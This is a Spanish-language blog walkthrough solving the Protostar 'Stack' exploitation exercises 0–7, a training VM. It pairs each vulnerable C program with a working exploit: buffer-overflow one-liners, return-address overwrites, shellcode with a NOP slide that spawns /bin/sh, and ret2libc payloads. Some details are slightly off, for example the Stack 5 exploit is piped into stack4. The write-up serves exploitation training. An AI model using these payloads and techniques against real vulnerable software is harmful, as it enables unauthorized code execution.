4 minute read

En un artículo anterior os explicaba cómo instalar la máquina virtual Protostar para practicar ejercicios de exploiting. Sin embargo, en esta ocasión os traigo las soluciones de Protostar para los ejercicios de la sección «Stack«.

La categoría «Stack» cuenta con una serie de 8 ejercicios (del 0 al 7) y el código fuente podéis encontrarlos aquí aunque lo pondré a continuación junto a la solución de cada uno de los ejercicios.

Soluciones de Protostar: Stack 0

Como en todos los ejercicios, el binario compilado que tendremos que explotar se encuentra en la ruta «/opt/protostar/bin/«. El código fuente es el siguiente:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Y la solución se muestra a continuación:

python -c "print('A'*64 + 'B')" | ./stack0

Soluciones de Protostar: Stack 1

Código fuente:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Solución:

./stack1 $(python -c "print('A'*64 + '\x64\x63\x62\x61')")

Stack 2

Código fuente:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Solución:

export GREENIE=$(python -c "print('A'*64 + '\x0a\x0d\x0a\x0d')")
./stack2

Stack 3

Código fuente:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

En cuanto a la solución, creamos primero un archivo llamado «exploit.py» con el siguiente contenido:

import struct 

win_dir = 0x08048424
junk = 'A'*64

payload = junk + struct.pack('i', win_dir)
print(payload)

Como consejo, para saber la dirección exacta del método «win» podemos utilizar un debugger como GDB:

gdb stack3
disas win #Mirar la primera línea donde está la dirección del método

Finalmente, ejecutamos nuestro exploit:

python exploit.py | /opt/protostar/bin/stack3`

Stack 4

Código fuente:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

GDB:

disas main
b *0x0804841e    # Breakpoint en el ret

info registers   # Comprobamos que estamos en el ret
x/30wx $esp-0x20 # Vemos lo que hemos sobreescrito y cuánto nos queda
x/wx $esp        # Dirección a la que apunta el ret, la que hay que cambiar

disas win        # Vemos la dirección de win = 0x080483f4

Exploit:

python -c "print('A'*76 + '\xf4\x83\x04\x08')" | /opt/protostar/bin/stack4

Stack 5

Código fuente:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

En este reto en lugar de hacer que se ejecute un método incluido en el propio programa, lo que tenemos que conseguir es ejecutar una shell.

Por ello, se especifica a continuación un shellcode que podemos utilizar:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80

GDB:

disas main
breakpoint en el ret

# Mirar en qué dirección estás escribiendo el bof, modificar el eip y ahí poner un NOP slide
# con la shell

Y finalmente el exploit en Python:

import struct

shellcode = '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'
ret_address = '\xbc\xf7\xff\xbf' 

buffer = 'A'*76
nops = '\x90'*100

payload = buffer + ret_address + nops + shellcode

print(payload)
python exploit.py | /opt/protostar/bin/stack4

Stack 6

Código fuente:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

GDB:

find 0xb7e97000, +9999999, "/bin/sh" # Para encontrar la cadena "/bin/sh"

El exploit en Python:

import struct

libc_base_address = 0xb7e97000

system_offset = 0x038fb0 
exit_offset = 0x0002f0c0 
binsh_offset = 0x11f3bf

system_dir = struct.pack("I", system_offset + libc_base_address)
exit_dir = struct.pack("I", exit_offset + libc_base_address)
binsh_dir = struct.pack("I", binsh_offset + libc_base_address )


junk = 'A'*80

payload = junk + system_dir + exit_dir + binsh_dir

print payload

Finalmente, para ejecutar el exploit vamos a utilizar un pequeño truco con «cat» para que la salida del programa no finalice inmediatamente:

(python exploit.py; cat) | /opt/protostar/bin/stack6

Stack 7

Código fuente:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();


}

El exploit en Python:

import struct

libc_base_address = 0xb7e97000

system_offset = 0x038fb0 
exit_offset = 0x0002f0c0 
binsh_offset = 0x11f3bf

system_dir = struct.pack("I", system_offset + libc_base_address)
exit_dir = struct.pack("I", exit_offset + libc_base_address)
binsh_dir = struct.pack("I", libc_base_address + binsh_offset)
ret_dir = struct.pack("I", 0x08048544)


junk = 'A'*80

payload = junk + ret_dir + system_dir + exit_dir + binsh_dir

print payload